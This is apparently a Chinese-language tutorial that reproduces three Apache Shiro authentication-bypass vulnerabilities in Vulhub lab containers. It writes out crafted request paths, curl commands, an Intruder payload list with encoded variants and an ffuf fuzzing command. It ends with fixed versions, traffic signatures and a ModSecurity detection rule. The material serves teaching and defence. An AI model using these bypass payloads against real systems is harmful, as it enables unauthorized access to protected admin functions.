实战剖析Shiro三大权限绕过漏洞:从环境搭建到流量分析
在安全研究领域,Apache Shiro框架的权限绕过漏洞一直是Web安全测试中的经典案例。许多初学者虽然能背诵CVE编号,却对漏洞产生的深层机制和实战复现细节一知半解。本文将彻底改变这种"纸上谈兵"的状况,通过Vulhub靶场环境,带您亲历CVE-2020-1957、CVE-2020-11989和CVE-2020-13933三个漏洞的完整复现过程。
不同于简单的步骤罗列,我们将重点关注BurpSuite抓包分析、Spring与Shiro的路径解析差异、以及如何构造特殊请求触发漏洞。您将获得一套可立即上手的实战方法论,而不仅仅是理论知识的堆砌。下面让我们从环境准备开始,逐步揭开这些漏洞的神秘面纱。
1. 实验环境搭建与基础配置
1.1 Vulhub靶场部署
首先需要准备一个干净的Linux环境(推荐Ubuntu 20.04),确保已安装Docker和docker-compose。以下是具体操作命令:
# 安装必要依赖 sudo apt update && sudo apt install -y git docker.io docker-compose # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2020-1957启动靶机前,建议修改docker-compose.yml文件中的端口映射,避免与本地服务冲突:
version: '2' services: web: image: vulhub/shiro:1.2.4 ports: - "8080:8080" # 将左侧8080改为其他未占用端口执行以下命令启动环境:
docker-compose up -d等待约30秒后,访问http://your-ip:port应能看到Shiro示例页面。如果遇到端口冲突,可以使用netstat -tulnp命令检查占用情况。
1.2 必要工具准备
为全面分析漏洞,需要配置以下工具环境:
- BurpSuite Community/Professional:用于拦截和修改HTTP请求
- 浏览器插件:推荐HackTools或Cookie-Editor
- 终端工具:curl、nc等基础网络工具
配置BurpSuite时,需要特别注意以下几点:
- 在Proxy→Options中确保监听端口与浏览器代理设置一致
- 安装
Burp BApp Store中的Shiro-Echo扩展,便于识别Shiro框架 - 关闭"Intercept"模式下的所有过滤规则,避免漏掉关键请求
提示:实验结束后,记得使用
docker-compose down关闭容器释放资源
2. CVE-2020-1957:路径标准化绕过剖析
2.1 漏洞原理深度解读
这个漏洞源于Shiro和Spring对URL路径处理的差异。Shiro使用Ant风格路径匹配,而Spring采用更宽松的路径解析规则。关键差异点在于:
| 组件 | 路径解析方式 | 分号处理 | 路径标准化 |
|---|---|---|---|
| Shiro | Ant模式严格匹配 | 视作普通字符 | 不完全标准化 |
| Spring | Servlet规范宽松匹配 | 作为参数分隔符 | 完全标准化 |
当请求/xxx/..;/admin/时:
- Shiro校验阶段:将路径视为
/xxx/..,由于*通配符不匹配路径,校验通过 - Spring处理阶段:将
..解析为上级目录,分号被忽略,最终访问/admin/
2.2 分步复现过程
首先访问登录页面http://your-ip:8080/login.jsp,尝试直接访问/admin/会被重定向到登录页。接下来构造特殊请求:
- 使用BurpSuite拦截任意请求
- 修改GET请求行:
GET /xxx/..;/admin/ HTTP/1.1 Host: your-ip:8080- 观察响应,应能看到管理员页面内容
为深入理解,可以通过以下curl命令测试不同变体:
# 失败案例 - 未经处理的路径 curl -v http://localhost:8080/admin/ # 成功利用 - 分号构造 curl -v http://localhost:8080/anypath/..;/admin/关键点在于分号前的..必须存在,单独使用分号不会触发漏洞。这是因为路径标准化过程中..会向上回退一级目录。
3. CVE-2020-11989:分号位置变异利用
3.1 漏洞触发条件分析
与CVE-2020-1957不同,这个漏洞利用分号在路径开头时的特殊处理:
- Shiro校验:
/;/test/admin/page被解析为/根目录,通常配置为anon公开访问 - Spring处理:分号被忽略,实际请求
/test/admin/page
漏洞利用需要满足两个前提:
- 根路径
/配置为匿名访问 - 目标路径
/test/admin/page需要认证
3.2 实战复现与流量对比
正常访问需要认证的页面:
GET /test/admin/page HTTP/1.1 Host: vulnerable-app响应应为302重定向到登录页。现在构造恶意请求:
GET /;/test/admin/page HTTP/1.1 Host: vulnerable-app使用BurpSuite的Repeater模块对比两个请求的响应差异:
| 请求类型 | 状态码 | Location头 | 响应体大小 |
|---|---|---|---|
| 正常请求 | 302 | /login.jsp | 0 |
| 分号构造请求 | 200 | 无 | 1256 |
在浏览器中,可以通过地址栏直接输入http://your-ip:8080/;/test/admin/page验证效果。注意某些浏览器会自动移除分号,建议使用开发者工具确保请求未被修改。
4. CVE-2020-13933:后缀变异的新攻击面
4.1 漏洞特征与限制
这个漏洞展示了另一种分号使用方式,将分号置于路径中间:
/admin/;pageShiro校验时会将路径视为/admin/,而Spring处理时会保留完整路径。成功利用需要:
/admin/*路径配置了权限控制- 服务端存在
/admin/;page这样的有效端点
4.2 复合利用技巧
在实际环境中,可以尝试组合多种技巧:
GET /admin/..;/subpath/;bypass HTTP/1.1通过BurpSuite的Intruder模块,可以批量测试以下payload:
/admin/%3Bx /admin/..%3B/ /;/admin/ /admin/..;/建议使用以下编码变体增加成功率:
- 分号URL编码:
%3B - 斜杠编码:
%2F - 双重编码:
%253B
5. 防御方案与检测方法
5.1 官方修复方案对比
各版本修复方式有所不同:
| 漏洞编号 | 修复版本 | 修复方式 |
|---|---|---|
| CVE-2020-1957 | 1.5.2 | 增强路径标准化 |
| CVE-2020-11989 | 1.5.3 | 严格处理分号 |
| CVE-2020-13933 | 1.6.0 | 引入严格模式校验 |
升级时需注意兼容性问题,特别是自定义Realm实现的情况。建议先在测试环境验证以下功能:
- 现有权限配置是否依然生效
- 特殊字符路径的访问控制
- 会话管理功能
5.2 流量特征检测
对于无法立即升级的系统,可通过以下特征检测攻击尝试:
请求特征:
- 包含
;或编码变体的URL路径 - 异常的
..跳转序列 - 非标准路径分隔符
- 包含
响应特征:
- 302跳转缺失
- 敏感接口返回非预期200状态码
- RememberMe cookie异常出现
示例WAF规则:
SecRule REQUEST_URI "@rx (?:;|%3B|\.\.)" \ "id:10001,\ phase:1,\ block,\ msg:'Possible Shiro Bypass Attempt'"6. 漏洞挖掘方法论延伸
掌握这三个漏洞后,可以将其检测思路扩展到其他框架:
路径解析差异审计:
- 比较WAF与应用框架的解析差异
- 测试编码/解码不一致情况
边界条件测试:
- 特殊字符在路径开头/中间/结尾的不同表现
- 多重编码组合效果
权限控制旁路:
- 静态资源后缀绕过
- HTTP方法覆盖(GET/POST/HEAD)
- 头部注入攻击
建议使用以下工具辅助测试:
BurpSuite插件:
- ShiroExploit
- AuthMatrix
命令行工具:
ffuf -u http://target/FUZZ -w shiro-payloads.txt